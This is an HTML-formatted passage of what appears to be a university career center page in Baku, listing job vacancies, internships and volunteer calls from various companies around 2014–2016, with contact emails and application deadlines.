margin-bottom:0in;margin-bottom:.0001pt;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDraws up the\r\ntechnical documentation pertaining to the operation of software;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTake appropriate\r\nmeasures for the protection of information security.</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:-.25in;line-height:normal;background:white\"\"=\"\"><br></p>  <br><hr noshade=\"noshade\"><br><br><p><br></p><p><strong>Khazar University IT\r\nDepartment is hiring Help Desk vacancy!</strong></p><p><strong></strong>\r\n• Language skills : English , Russian (average) ,\r\nEnglish (average);<br>\r\n• Minimum 2-3 years of experience in the field of IT;<br>\r\n• To solve common problems arising in Windows Server;<br>\r\n• MS Office (World, Excel, PowerPoint);<br>\r\n• Operational Systems: Installation and Updating of Windows 7,8 and 10;<br>\r\n• Resolution and monitoring of the failures in the mentioned operational\r\nsystems;<br>\r\n• Work experience with Printer, Projector and such kind of peripheral\r\nequipment;<br>\r\n• Creation, support and restoration of the working places;<br>\r\n• Knowledge of networking, WIFI, LAN and other connection tools job principles;<br>\r\n• E-learning support for the teacher and student staff;<br>\r\n• Responsibility, honesty, accuracy as highly developed abilities;<br>\r\n• Communication and team work skills;<br>\r\n• Ability of analysis and efficiency;<br>\r\n• Salary - based on individual evaluation;<br>\r\n• Only men candidates are encouraged to apply;<br>\r\n• Work hours: 9:00 am – 6:00 pm in weekdays, Saturday – short day;<br>\r\n• Sundays and Holidays are not working days.\r\nInterested candidates are\r\nencouraged to send their CVs to the following e-mail adress indicating\r\n\"Help Desk\" in the subject line.  <br></p><div><p><strong></strong></p><hr noshade=\"noshade\"><strong><br></strong><br><p><strong>The company Data Technologies is looking for students for our\r\ninternship programs.</strong></p><strong>\r\n</strong><p><strong>&nbsp;</strong></p>\r\n<p><strong>Marketing and\r\nselling:</strong></p>\r\n<p>-Explore marketing and selling</p>\r\n<p>-Investigate new services for IT </p>\r\n<p>-Create business and strategy oriented plans </p>\r\n<p>-Attract new costumers</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Programming:</strong></p>\r\n<p>-Web site design and programming</p>\r\n<p>-We will provide references documenting your internship\r\nexperience</p>\r\n<p>-A salary of 100 AZN will be given to interns for incidental\r\nexpenses </p>\r\n<p><strong>Apply online:&nbsp;&nbsp; </strong><a href=\"http://cv.datatech.az/\" target=\"_blank\">http://cv.datatech.az</a></p>\r\n<p>&nbsp;</p><hr noshade=\"noshade\"><br></div><div><p><strong>Learn the right consultation\r\nmethods from us!</strong></p></div><div><strong>\r\n</strong><p>Ugur\r\nDevelopment Center has opened an internship (traineeship) program. By applying to\r\nthis program you will learn both theoretical and practical aspects of\r\npsychology. The lessons will take place three times a day and they consist of 2\r\nlearning sessions and 1 practice consultation. The internship program will last\r\n3 months. The last month will be entirely based on consultations under a\r\nsupervisor. &nbsp;At the end of three months,\r\nparticipating interns will be given an exam. Those who pass the exam\r\nsuccessfully will receive certificates.</p>\r\n<p>Applicants must be responsible,\r\nhardworking, and punctual graduates, master students or psychologists. Participants will be selected for this program by\r\ninterview. The program does have a tuition fee and spaces are limited to 10\r\nparticipants. The deadline for application is June 15. <strong></strong></p>\r\n<p>Address\r\n: Narimanov, Ağa Nematulla 20, Uğur Development Center </p>\r\n<p>Email:\r\nugurinkisafmerkezig@mail.com</p>\r\n<p>Contact\r\nnumbers: 0705686822&nbsp; 0554686822 012-</p>\r\n<p>Facebook:\r\nUğur Development Center</p>\r\n<p>&nbsp;The Program</p>\r\n<p>&nbsp;Stage 1: Psychological\r\nconsultation</p>\r\n<p>&nbsp;Section I</p><p> Beginning\r\nconsultations</p>\r\n<p>-Beginning a psychology consultation, establishing a therapeutic\r\nrelationship with the patient</p>\r\n<p>-Behavioral therapy</p>\r\n<p>-Therapy terms</p>\r\n<p>-Rules for beginning the psychology consultation</p>\r\n<p>-Psychology consultation examples (practice)</p>\r\n<p>-The rules of ending the psychology consultation (Termination)</p>\r\n<p>-Ethical rules</p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Section II </p>\r\n<p>-Strategies which help the patients in self-discovery</p>\r\n<p>-Mistakes which psychologists make during the consultation</p>\r\n<p>-Intervention in a crisis</p>\r\n<p>-Self-recognition abilities of the psychologist </p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Section&nbsp; III</p>\r\n<p>Investigating psychological consultation therapy (practical approaches)</p>\r\n<p>-Psychological consultation on humanistic behaviors</p>\r\n<p>&nbsp;-Behavioral theory</p>\r\n<p>-Cognitive CBT Social Studies Psychology Consultation: Practical\r\nApproach </p>\r\n<p>-Gestalt therapy</p>\r\n<p>- Psychodynamic and psychoanalytic consultation </p>\r\n<p>-Practice psychological consultation in groups</p>\r\n<p>-Practical views on family issues</p>\r\n<p>-The consultation (Ethno psychology)</p>\r\n<p>-Feminist therapy</p>\r\n<p>-The short period of consultation</p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Section IV</p>\r\n<p>&nbsp;About creating one’s own\r\nconsultation style</p><p> Psychologist: Q. Nargiz</p>  <br></div><div><hr noshade=\"noshade\"><br></div><div><h3>Dear Candidates</h3><p>Caspian Investment and Development Corporation (CIDC) is\r\nseeking candidates for an administrative position. They may be fresh graduates\r\nor current students in BBA or MBA programs with fluent English, Azerbaijani and\r\nRussian. Candidates should have understanding of or experience in management,\r\nHR, or related fields. </p>\r\n<p>Interested candidates may send CVs to <a href=\"mailto:enasirov@cidc.az\">enasirov@cidc.az</a>. </p>\r\n<strong>Career Center Team</strong>  <p><br></p><br><hr noshade=\"noshade\"><br><br><h4><strong>Dear\r\nFinance and Management Specialists,</strong></h4>\r\n<p>Fireworks\r\nHRM is currently looking for a cashier for a one month project in Baku during\r\nJune. People with lots of social work and volunteering experience are welcome\r\nto apply. The job is paid.</p>\r\n<p>Interested\r\ncandidates sould send their CVs to uhuseynova@khazar.org indicating \'Cashier\' in\r\nthe subject.</p>\r\n<p>Thank\r\nyou!</p>\r\n<p>Career\r\nCenter Team</p><p><br></p>  </div><div><hr noshade=\"noshade\"><br></div><h4><strong>News</strong></h4><div><h3>1.Dear Students and Alumni</h3>\r\n<p>Find vacancies in Kaspi Education here:</p><p>APPLY ONLINE!</p>\r\n<p>2. Holcim Azerbaijan is looking for graduates for the Contracts and Procurement Department.</p><p>Program duration is 6 months.</p><p>REQUIREMENTS</p><p>Skills</p><br><ul><li>Fluent in Azeri, English and Russian languages</li><li>IT literacy</li><li>Behavioral Skills</li><li>Planning &amp; Organizing</li><li>Results orientation</li><li>Team orientation</li><li>Communication skills</li><li>Strong analytical skills</li></ul><br><p>Education &amp; Experience</p><p>· University Degree (preferably in Technical field)</p><p>APPLICATION PROCEDURE</p><p>Applicants should submit CV\'s to alina.mammadova@lafargeholcim.com and indicate the position applied for in the subject line.</p><p>All applications for the advertised post will be assessed and given equal opportunities.</p><p>Application closing date: May 10, 2016</p>\r\n<p>3. Dear IT Specialists,</p><p>UBMG is seeking IT Manager</p><p>Send your CVs to the following e-mail adress: info@dbs.az</p><p>Contact Person: Chinara Heydarzada</p><p>Career Center Team</p><br><hr noshade=\"noshade\"></div><div><div><h3><br></h3><h3>VACANCY ANNOUNCEMENT</h3><p>Job title: Teaching coordinator</p><p>Location: Baku, Azerbaijan</p><p>Our requirements:</p><p>· Bachelor Degree</p><p>· Teaching experience (commercial education or university is desirable, ideally</p><p>training of teachers, coaching of trainers, etc.)</p><p>· Field-specific education related to Educational Management or similar education</p><p>is desirable</p><p>· Fluent Azerbaijani, English and Russian</p><p>· Excellent working knowledge of MS Office</p><p>· Excellent oral and written communication skills</p><p>· Good organizational and time management skills</p><p>· Attention to detail</p><p>· The ability to work well in a team</p><p>Key accountabilities:</p><p>· Training new teachers on teaching at Ders Evi courses</p><p>· Selection of candidates for the position of teacher</p><p>· Coordination of administration and logistics regarding teachers courses with the</p><p>other departments of the Company</p><p>· Professional development of teachers</p><p>· Monitoring the quality of teachers’ work (conduct simulations, demo lessons,</p><p>progress reports)</p><p>· Participation in development and correction of development plans of Ders Evi</p><p>Teaching Department.</p><p>· Solution of administrative and logistical issues related to teaching process.</p><p>· Achievement of high level teaching at Ders Evi, which is reflected by the level of</p><p>Students’ satisfaction</p><p>· Planning and coordination of teachers’ participation at different types of activities</p><p>within the company</p><p>· Reporting activities and documentation maintenance regarding teaching</p><p>How to apply:</p><p>Please send your application forms to hr@dersevi.az. Be sure to indicate “Teaching</p><p>coordinator” in the subject line.</p></div><div><hr noshade=\"noshade\"><br></div><div><strong><br></strong></div><div><strong>ATTENTION&nbsp;</strong></div><div>To the ATTENTION of&nbsp; fourth and fifth-year students studying chemical engineering, biotechnology engineering, management, marketing, business management, chemistry education, biology education, and psychology! Sağlam ailə announces vacancies for part and full time jobs.</div><div>&nbsp;</div><div><strong>Requirements:</strong></div><div>Social Activities</div><div>80+ GPA</div><div>Language skills: English (minimum intermediate )</div><div>Interested candidates should send their CV to the following address. Explain why they should choose you in your CV (give information about your skills).</div><div>Please write your major in the subject line.</div><div><a href=\"mailto:hr@saglamaile.az\" target=\"_blank\"><strong>hr@saglamaile.az</strong></a></div><div><a href=\"mailto:amirzayeva@khazar.org\" target=\"_blank\"><strong>amirzayeva@khazar.org</strong></a></div><div><strong>DEADLINE 30 November</strong></div><div>&nbsp;</div><div>&nbsp;</div><hr width=\"1075\"><div>&nbsp;</div><div><strong>English Language Teaching</strong></div><div><strong><br></strong></div><div><strong>Workplace</strong>&nbsp;:<strong>&nbsp;</strong>Science School</div><div><strong>Aerea&nbsp;</strong>: Baku city Nizami town, Naxçıvanski street.81 (near 8.km Bazar)</div><div><strong>Date of announcement&nbsp;</strong>:<strong>&nbsp;</strong>02.11.2015</div><div><strong>Job days</strong>: Mondays, Wednesdays, Fridays</div><div><strong>Job hours</strong>: 09:00 – 19:00</div><div><strong>Note</strong>: Work scheduled would be change</div><div><strong>Vacancy requires:</strong></div><ul><li>Ø III and IV course students</li><li>Ø Language skills :<ul><li>Russian - fluent</li><li>English – advanced</li></ul></li></ul><div><strong>Contact:&nbsp;</strong>+99470-302-39-39&nbsp; Günay</div><div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+99450-309-16-96&nbsp;&nbsp; Xavər</div><div><strong>&nbsp;</strong></div><hr width=\"1075\"><div>&nbsp;</div><div><strong><em>Export&nbsp;&nbsp; (for females)</em></strong></div><div><strong><em>Requirements:</em></strong></div><ul><li>High education</li><li>Only females</li><li>Age 23-30</li><li>Language skills:</li></ul><div>Russian- fluent</div><div>English- Advanced</div><ul><li>Computer skills:</li></ul><div>MS offices</div><ul><li>Does not any problems about going abroad</li></ul><div>&nbsp;</div><div><strong>About work:</strong></div><ul><li>Exports to carry out the necessary paper worker process workers</li><li>According to the investigation of foreign bases enterprise sales strategies. &nbsp;</li><li>Establish connection with foreign companies, finding potential customers and to provide contract necessary agreements.</li><li>To ensure goods to reach to the firm injure.</li><li>Implementation of sales planning</li><li>Participation in sales exhibition, demonstration new product samples and demonstration models, extensions sailing products and participating in other events.</li></ul><div>Participants who respond to given conditions may send their CV till 31.10.2015 to e-mail&nbsp;<a href=\"mailto:cv@azersun.com\" target=\"_blank\"><strong>cv@azersun.com</strong></a>. The name of position have to be written in the part of theme (“export specialist)</div><div>&nbsp;</div><hr width=\"1075\"><div>&nbsp;</div><div><strong><em>I am looking for 10 people hardworking and enthusiastic people (girls and boys) who want to work as volunteers in the Career Center.</em></strong></div><div>I am looking for 10 people hardworking and enthusiastic people (girls and boys) who want to work as volunteers in the Career Center in the 2015-2016 academic year.</div><div>Please write to me if you are interested. We will meet on 16 September. You will be taught how to do all the jobs.</div><div>Certificates will be given at the end of the year. Reference letters will be given to those who want them. Concessions will be made during exam time.</div><div>Jobs will be given to volunteers only when they have free time. Students from every school and major are welcome to apply.</div><div>I need students who are detailed workers and have creative ideas who can help with organization, preparing documents, and design.</div><div><strong>Jump into the Career Center!</strong></div><div><strong>Deadline: 15 September&nbsp;</strong></div><div><strong>Meeting: 16 September</strong></div><div>&nbsp;</div><hr width=\"1075\"><div>&nbsp;</div><div><strong><em>Students who can speak fluently in English!</em></strong></div><div>Students are being sought to meet foreign guests, walk with them and show them the city. This is a paying job. The company owner who is offering this job will meet with you to explain all the details in September. Anyone interested in this, please write a comment under my status. A meeting will be held after we gather more students in September (after the 15th). September. Don’t be shy—we need many students for this job. I am waiting for your comments.&nbsp;&nbsp;</div><div>&nbsp;</div><hr width=\"1075\"><div>&nbsp;</div><div><strong><em>Urgent! Merkezi Bank Ipoteka Fund looking for workers! &nbsp;</em></strong></div><div>Fund looking for Economy, Credit, Financial, Cashier and Lawyer. Urgently connect with me. Special attention and demand for Graduates of Khazar University! Is a must to know Russian and English Language. It is possible to apply 4<sup>th</sup>&nbsp;year students who has no problem with lesson schedule. Hurry up dear Graduates and Master students!&nbsp;</div><div>&nbsp;</div><div><br></div><div>&nbsp;</div><div><strong><em>Caspi High School announces vacancies for the following teachers and teaching assistants:&nbsp;</em></strong></div><div>Primary school (Azerbaijan and Russian sector); Azerbaijan language and Literature; English language; Russian language; Mathematics, Information science; Chemistry; Biology; History; Geography; Physics; Physical Education; Combat Training; Music, Drawing; Technology (Azerbaijan and Russian sector).</div><div><strong>Employer:</strong>&nbsp;Caspian High School</div><div><strong>Workplace:</strong>&nbsp;Caspian High School</div><div><strong>Area</strong>:&nbsp;Baku city, Bakıkhanov town and Khatai region (White City)</div><div><strong>Date of announcement:&nbsp;</strong>11 May 2015</div><div><strong>Deadline:</strong>&nbsp;31 May 2015</div><div><strong>Vacancy number:</strong>&nbsp;015</div><div>&nbsp;</div><hr width=\"1075\"><div>&nbsp;</div><div><strong>Vacancy requirements:</strong></div><div>&nbsp;</div><div>Bachelor or master degree in related field</div><div>At least 3 years experience in high school education</div><div><em>Note: This is required only for teachers. Experience is not required for teaching assistants.</em></div><div><em>You can fill in the application form and send to&nbsp;</em><a href=\"mailto:info@kaspi.edu.az\" target=\"_blank\"><strong>info@kaspi.edu.az</strong></a><strong>&nbsp;</strong>&nbsp;address<em>. Do not send your own CV.</em></div><div><em>Note: It is recommended to record the name and number of the vacancy for which you are applying in the “subject” section, for example: Physics teacher -015 vacancy</em><em>&nbsp;</em></div><div>Only qualified candidates will be further informed about the selection process. &nbsp;</div><div>&nbsp;</div><hr width=\"1075\"><div>&nbsp;</div><div><strong><em>Caspi Applicants Course announces vacancies for the following teachers and teaching assistants: (Azerbaijan and Russian sectors).</em></strong></div><div>&nbsp;</div><div>&nbsp;Azerbaijan language and literature; Russian language and literature; English language; Mathematics; Chemistry; Biology; History; Geography; Physics;</div><div><strong>Employer:</strong>&nbsp;Caspian Education Company</div><div><strong>Workplace:</strong>&nbsp;Caspian Applicants</div><div><strong>Area</strong>:&nbsp;Elmler, Ahmadli,Khatai, Narimanov,Masazir,Sumqayit</div><div><strong>Date of announcement:&nbsp;</strong>11 May 2015</div><div><strong>Dead line:</strong>&nbsp;31 May 2015</div><div><strong>Vacancy number:</strong>&nbsp;016</div><div>&nbsp;</div><div><br></div><div>&nbsp;</div><div><strong>Vacancy requirements:</strong></div><div>Bachelor or master degree in related field</div><div>At least 3 years experience in high school education</div><div><em>Note: This is required only for teachers. Preference will be given to those with tutoring experience.</em></div><div><em>You can fill in the application form and send to&nbsp;</em><a href=\"mailto:info@kaspi.edu.az\" target=\"_blank\"><strong>info@kaspi.edu.az</strong></a><strong>&nbsp;</strong>&nbsp;address<em>. Do not send your own CV.</em></div><div><em>Note: It is recommended to record the name and number of the vacancy for which you are applying in the “subject” section, for example: Physics teacher -015 vacancy</em><em>&nbsp;</em></div><div>&nbsp;</div><div><br></div><hr><div><strong><em>Dear Students!</em></strong></div><div>The soon to be opened Mambo Beach Club &amp; Restaurant (club and restaurant run by C-Group)&nbsp;<a href=\"http://on.fb.me/1Q3MvZ5\" target=\"_blank\"><strong>http://on.fb.me/1Q3MvZ5</strong></a>&nbsp; needs a social media expert. Salary will be determined during the interview. (Minimum +500 AZN)</div><div>Duties: post on social media sites information about the restaurant, information about parties in the restaurant, photos, and more. Candidates must be people who spend a lot of time on social media and have many friends. You must be able to give answers about the restaurant on social media and manage its accounts.</div><div>Contact info: Ulviyya Qahramanlı (Assistant General Manager)<br>Salyan Highway, Shikhov Beach, Baku. AZ1023 Mob: +994 55 455 05 22, email: u.gahramanli@c-group.az website: c-group.az</div><div>&nbsp;</div><div><br></div><hr><div>&nbsp;</div><div><strong>Certuspharma</strong>&nbsp;is seeking candidates:</div><div>&nbsp;Requirements:</div><div>-gender: male</div><div>-education: Bachelor degree, also possible for students studying in absentia&nbsp;<br>- must own car</div><div>-<strong>&nbsp;Languages required:</strong>&nbsp;Proficiency in Azerbaijani&nbsp;<br>- ability to work with group<br>- ability to work with customers<br>- ability to do detailed work</div><div>- analytical thinker&nbsp;<br>- Communicative<br>- Creative approach to work and to generate new ideas<br>- ability &nbsp;to be assertive&nbsp;<br>- Self-driven; ability to working on his(her) own</div><div>Please send your CVs to this email address:&nbsp;<a href=\"mailto:hr@certuspharma.az\" target=\"_blank\"><strong>hr@certuspharma.az</strong></a></div><div>&nbsp;</div><div>Write “Sales manager” in the subject line when emailing your CV or resume. Otherwise, the requests will not be considered. Qualified candidates will be invited for interviews.</div><div>Job Description</div><div>- To represent the company</div><div>- Product sales organization</div><div>- Negotiations with customers</div><div>- Working closely with customers</div><div>- Timeline: 09:00-18:00&nbsp;<br>- Working days: I-V&nbsp;<br>- Lunch, petrol costs are provided<br>- Salary- 300-400 AZN + bonuses<br><a href=\"http://ru.boss.az/vacancies/80437\" target=\"_blank\"><strong>http://ru.boss.az/vacancies/80437</strong></a>&nbsp;announced at this link.</div><div>&nbsp;</div><div><br></div><hr><div><strong>Marketing Specialist for the company Borusan Makina Azerbaijan for sales and post-sales, to be in charge of the management of marketing activities aimed at increasing awareness of the brand and company</strong><strong>.&nbsp;</strong><br><br>Key Responsibilities</div><div>• Objectives in line with implementing the marketing strategy and the marketing budget; to create and manage relationships with suppliers</div><div>• organizing marketing activities under current market and economic criteria</div><div>• ensure participation in local fairs, to organize the whole process of the exhibition</div><div>• participate in relevant marketing seminars, be informed and be prepared for changing marketing techniques</div><div>• Organize activities outside plant and facilities</div><div>• Produce product catalogs, corporate presentation and video files, and products such as promotional materials to ensure the provision within the budget. Communication with working groups will be preferable to organize the preparation shared announcements</div><div>• manage Call Center operations and improve control.</div><div>• Determine the critical parameters in market conditions and competition through continuous research</div><div>• Organizing maintenance and development of the website. Distribution of requests received through the website.</div><div>• Identify principles between the company and suppliers to ensure regular supervision of these principles.</div><div>• Identify targets and distribute promotional material.&nbsp;<br><br><br>Selection Criteria</div><div>• University degree in marketing, PR or Business (Business Administration)</div><div>• Fluency in Russian and English</div><div>• Creative thinking ability</div><div>• Motivation and high awareness of responsibility</div><div>• Negotiation skills</div><div>• Computer use is preferred</div><div>• Time management</div><div>• At least 2 years experience in Marketing</div><div>&nbsp;</div><div><br></div><hr width=\"1075\"><div>&nbsp;</div><div><strong>Internship program for Khazar University students</strong></div><div>&nbsp;<strong>Name of the p</strong><strong>rogram:&nbsp;</strong>Let us learn English together.</div><div><strong>Participants</strong>:&nbsp;Participants will be selected through the program via an interview.</div><div><strong>The program\'s goal:&nbsp;</strong>to increase the number of students in the English program.</div><div>&nbsp;</div><ol><li>The project will develop a promo project</li></ol><div>&nbsp;</div><ol><li>Students should present their own recruitment methods.</li></ol><div>&nbsp;</div><ol><li>Winners will be announced within 3 days after the submission of the project.</li></ol><div>&nbsp;</div><ol><li>The winners will be trained by the Center for the 2nd short course (the company informed on the conditions).&nbsp; &nbsp;&nbsp;&nbsp;</li><li>The winner of the tender for the project will act as project manager.</li></ol><div>&nbsp;</div><ol><li>Students involved will receive a bonus (the bonus will vary according to the number of students involved)</li></ol><div>&nbsp;</div><div><br></div><hr width=\"1075\"><div>&nbsp;</div><div><strong>Intership programs for students of Khazar University</strong></div><div><strong>Name of program:&nbsp;</strong>Debate and Conversation clubs.</div><div><strong>Participants:&nbsp;&nbsp;</strong>Participants will be selected through a two-stage interview process.</div><div><strong>The goal of the program:&nbsp;</strong>The selected participants will talk every Sunday in debate or conversation clubs. They will made presentations and prepare discussion questions. Each week new vocabulary words will be given to students based on the discussion theme.</div><div><strong>Time:&nbsp;</strong>Sundays</div><div>&nbsp;</div><div><br></div><hr width=\"1075\"><div>&nbsp;</div><div><strong>Dear Students,</strong><br><br><strong>AKA Group</strong>&nbsp;is seeking candidates for the Part-time Job vacancy<br><br>Requirements: Self motivated and confident, Problem-solving skills, Good communication and interpersonal skills, Proficiency in MS Office Programs and Proficiency in English and Russian<br><br>All interested candidates are encouraged to contact or send an e-mail to Laman Aliyeva,&nbsp;<a href=\"mailto:leliyeva@khazar.org\" target=\"_blank\"><strong>leliyeva@khazar.org</strong></a>&nbsp;<br><br>Deadline is 12 December,&nbsp;Friday.<br><br>Hurry Up!<br><br>Career Center Team</div><div>&nbsp;</div><div>&nbsp;</div><hr><div><strong>Caspian Investment and Development Corporation</strong>&nbsp;(CIDC) Baku LLC is embarking on a major project in the production of fast moving consumer goods and the production of raw materials to facilitate this strategy with the development of a new plant.</div><div>&nbsp;</div><div>The Baku based state of the art manufacturing works requires the assembly of a project team with high skill, proven potential and the ability to drive the vision of CIDC.&nbsp;</div><div>We are currently looking for a&nbsp;<strong>Research and Development Assistant</strong>&nbsp;position.</div><div>The duties will include (but not limited to):</div><div>&nbsp;</div><ul><li>Working on Research and Development tasks (within retail and marketing)</li><li>Research of data related to the design and development of products</li><li>Updating innovations on materials from the International and local suppliers</li><li>Benchmarking competitors products in terms of performance ( quality, components materials, features )</li><li>Analyzing data on new or existing products and creating reports summarizing findings.</li><li>Identify and monitor competitors and research market conditions or changes in the industry that may affect sales.</li><li>Rely on instructions and pre-established guidelines to perform the functions of the job.</li><li>Participating in coordinating all types of survey</li><li>Typically report to a senior R&amp;D specialist or manager</li><li>Newly graduator or the last course student from BA or Marketing faculty</li><li>Knowledge of commonly-used concepts, practices, and procedures within a particular field.</li></ul><div><strong>Requirements:</strong></div><ul><li>Fluent in English, Azeri (Russian is preferable)</li><li>Self starting person, taking responsibilities and initiatives</li><li>Must be patient and have a methodical approach in regards to work activities and project goals</li><li>Excellent interpersonal and teamwork skills</li><li>Strong knowledge of MS Office</li></ul><div>&nbsp;</div><div>Please send your CV and covering letter to&nbsp;<a href=\"mailto:recruitment@cidc.az\" target=\"_blank\"><strong>recruitment@cidc.az</strong></a><strong>&nbsp;</strong>highlighting or apply through&nbsp;<a href=\"http://www.cidc.az/\" target=\"_blank\"><strong>www.cidc.az</strong></a>&nbsp;the position you are applying for in the subject title.</div><div>Deadline for CV submission is&nbsp;<strong>30</strong><strong><sup>th</sup></strong><strong>&nbsp;September 2014</strong></div><div>&nbsp;</div><div>&nbsp;</div><div>&nbsp;</div><hr><div><strong>Dear Computer Science, Computer Engineering and Telecommunications major Students!</strong></div><div>&nbsp;</div><div><br>Khazar University IT Department is seeking a candidate (only men can apply for the position) for the Office Manager position.&nbsp;<br><br>The candidate will have chance to learn the technical issues regardles basic customer\'s some technical errors and problems.<br><br>Interested candidates, please visit&nbsp;<strong>CAREER DEVEOPMENT CENTER&nbsp;</strong>(211, II Floor, Old building) by&nbsp;<strong>19 September, Friday.</strong><br><br>Thank you!</div><div>&nbsp;</div><hr><div><strong>Dear Alumni,</strong></div><div>&nbsp;</div><div><strong>ENGIN LTD</strong>&nbsp;is seeking only Female candidates for&nbsp;<strong>Call Center</strong>&nbsp;vacancy.</div><div>The working hours are: 08:00-17:00</div><div>Interested candidates are encouraged to send their CV to the following e-mail address:&nbsp;<a href=\"mailto:uhuseynova@khazar.org\" target=\"_blank\"><strong>uhuseynova@khazar.org</strong></a></div><div>&nbsp;</div><hr><div><strong>&nbsp;Dear Students!</strong></div><div>&nbsp;</div><div><strong>Engin LTD</strong>&nbsp;is seeking very potential students for&nbsp;<strong>Summer Internship</strong>&nbsp;(3 months- June, July and August) and&nbsp;<strong>Job vacancies</strong>&nbsp;for different departments.</div><div>&nbsp;</div><div>The required professions are:</div><div>&nbsp;</div><div>1. HR Specialists</div><div>2. Finance Specialist</div><div>3. IT Specialists (Computer Science and Computer Engineering)</div><div>4. Logistics Manager (Operations and Management)&nbsp;</div><div>5. Data base Specialist (Economists)- ONLY GIRLS!</div><div>6. Audit</div><div>The main difference of that company is that, the 1st, 2nd years students are also allowed to apply for the Internship Programs and Job Opportunities!</div><div>&nbsp;</div><div>So this is excellent opportunity!</div><div>&nbsp;</div><hr><div>&nbsp;</div><div>&nbsp;</div><div><strong>INTERNSHIP PROGRAM</strong></div><div><strong>&nbsp;</strong></div><div><strong>Vision Fund AzerCredit LLC is seeking</strong></div><div><strong>Volunteers for Human Resources Department</strong></div><div>Female candidates are encouraged to apply.</div><div>Vision Fund AzerCredit LLC (AzerCredit) helps develop the economy of Azerbaijan by providing credit to small entrepreneurs so that they can grow their businesses and improve their economic situation. AzerCredit is one of the largest micro-credit organizations in Azerbaijan. As an employer, the company is investing in its human resources through contemporary trainings and providing excellent working atmosphere and building staff capacity in order to plant the seeds of more successful future.</div><div>&nbsp;</div><div><strong>Eligibility Requirements:</strong><strong>&nbsp;</strong></div><div>•&nbsp;University graduates or students of 4th course;<br>•&nbsp;Must have good grades in subjects studied;<br>•&nbsp;Fluent in Azeri and English (both verbal and written);<br>•&nbsp;Computer skills in Word, Excel and Databases;<br>•&nbsp;Understanding of Human Resources and Recruitment topics;<br>•&nbsp;Good analytical and problem solving skills;<br>•&nbsp;Ability to fulfill the entrusted tasks;<br>•&nbsp;Ability to perform multiple tasks and projects simultaneously;<br>•&nbsp;Ability to take initiative;<br>•&nbsp;Willingness to make a career in financial institutions;<br>•&nbsp;Excellent interpersonal skills;<br>•&nbsp;Able to work as team member and to establish friendly relationships.</div><div>&nbsp;</div><div>Please fill up AzerCredit’s&nbsp;<strong>Application Form</strong>&nbsp;and submit it to us</div><div>by&nbsp;<strong>E-mail:&nbsp;</strong><a href=\"mailto:intern@azercredit.az\" target=\"_blank\"><strong>intern@azercredit.az</strong></a><strong>&nbsp;or Fax: (+99412) 597 30 39</strong></div><div><strong>until April 22, 2014</strong>.</div><div>AzerCredit’s electronic Application Form can be downloaded from&nbsp;<a href=\"http://azercredit.az/en/career/how_to_apply\" target=\"_blank\"><strong>http://azercredit.az/en/career/how_to_apply</strong></a>&nbsp;web-page or picked up from head office.</div><div>Please indicate&nbsp;‘<strong>Volunteer for HR Department’</strong>&nbsp;in the subject line of your email.</div><div>Please note that the internship in unpaid.</div><div>&nbsp;</div><hr><div>&nbsp;</div><div>Dear<strong>&nbsp;IT Specialists</strong>&nbsp;or<strong>&nbsp;Computer Engineers</strong>,<br><br>DNS Computers is seeking 8 Interns for Summer 2014.<br>Urgently send us your Cv or visit Career Center to register!<br><br><strong>E-mail: uhuseynova@khazar.org</strong></div><hr><div>&nbsp;</div><div>&nbsp;</div><div>Dear&nbsp;<strong>Petroleum Specialists</strong>,<br><br><strong>Azerbaijan International Mining Company</strong>&nbsp;is announcing its&nbsp;<strong>Graduate Recruitment Program</strong>&nbsp;<br><br>They need Chemical (Process) and Mechanical Engineers<br><br><strong>Start date: asap</strong><br><strong>Salary: 400-500 AZN (net)</strong><br><strong>Rotation: 20days/10days</strong><br><strong>Benefits: accommodation/food/transportation</strong><br><br>Interested candidates are encouraged to send their CV to the following e-mail address: uhuseynova@khazar.org</div><div>&nbsp;</div><hr><div>&nbsp;</div><div>&nbsp;</div><div><strong>Brickstone- Construction Company</strong>&nbsp;is seeking a candidate for<strong>&nbsp;Office Manager</strong>&nbsp;Vacancy</div><div><strong>Salary: 500 AZN</strong></div><div>&nbsp;</div><div>Interested candidates are encouraged to send their CV to the following e-mail address:&nbsp;<a href=\"mailto:uhuseynova@khazar.org\" 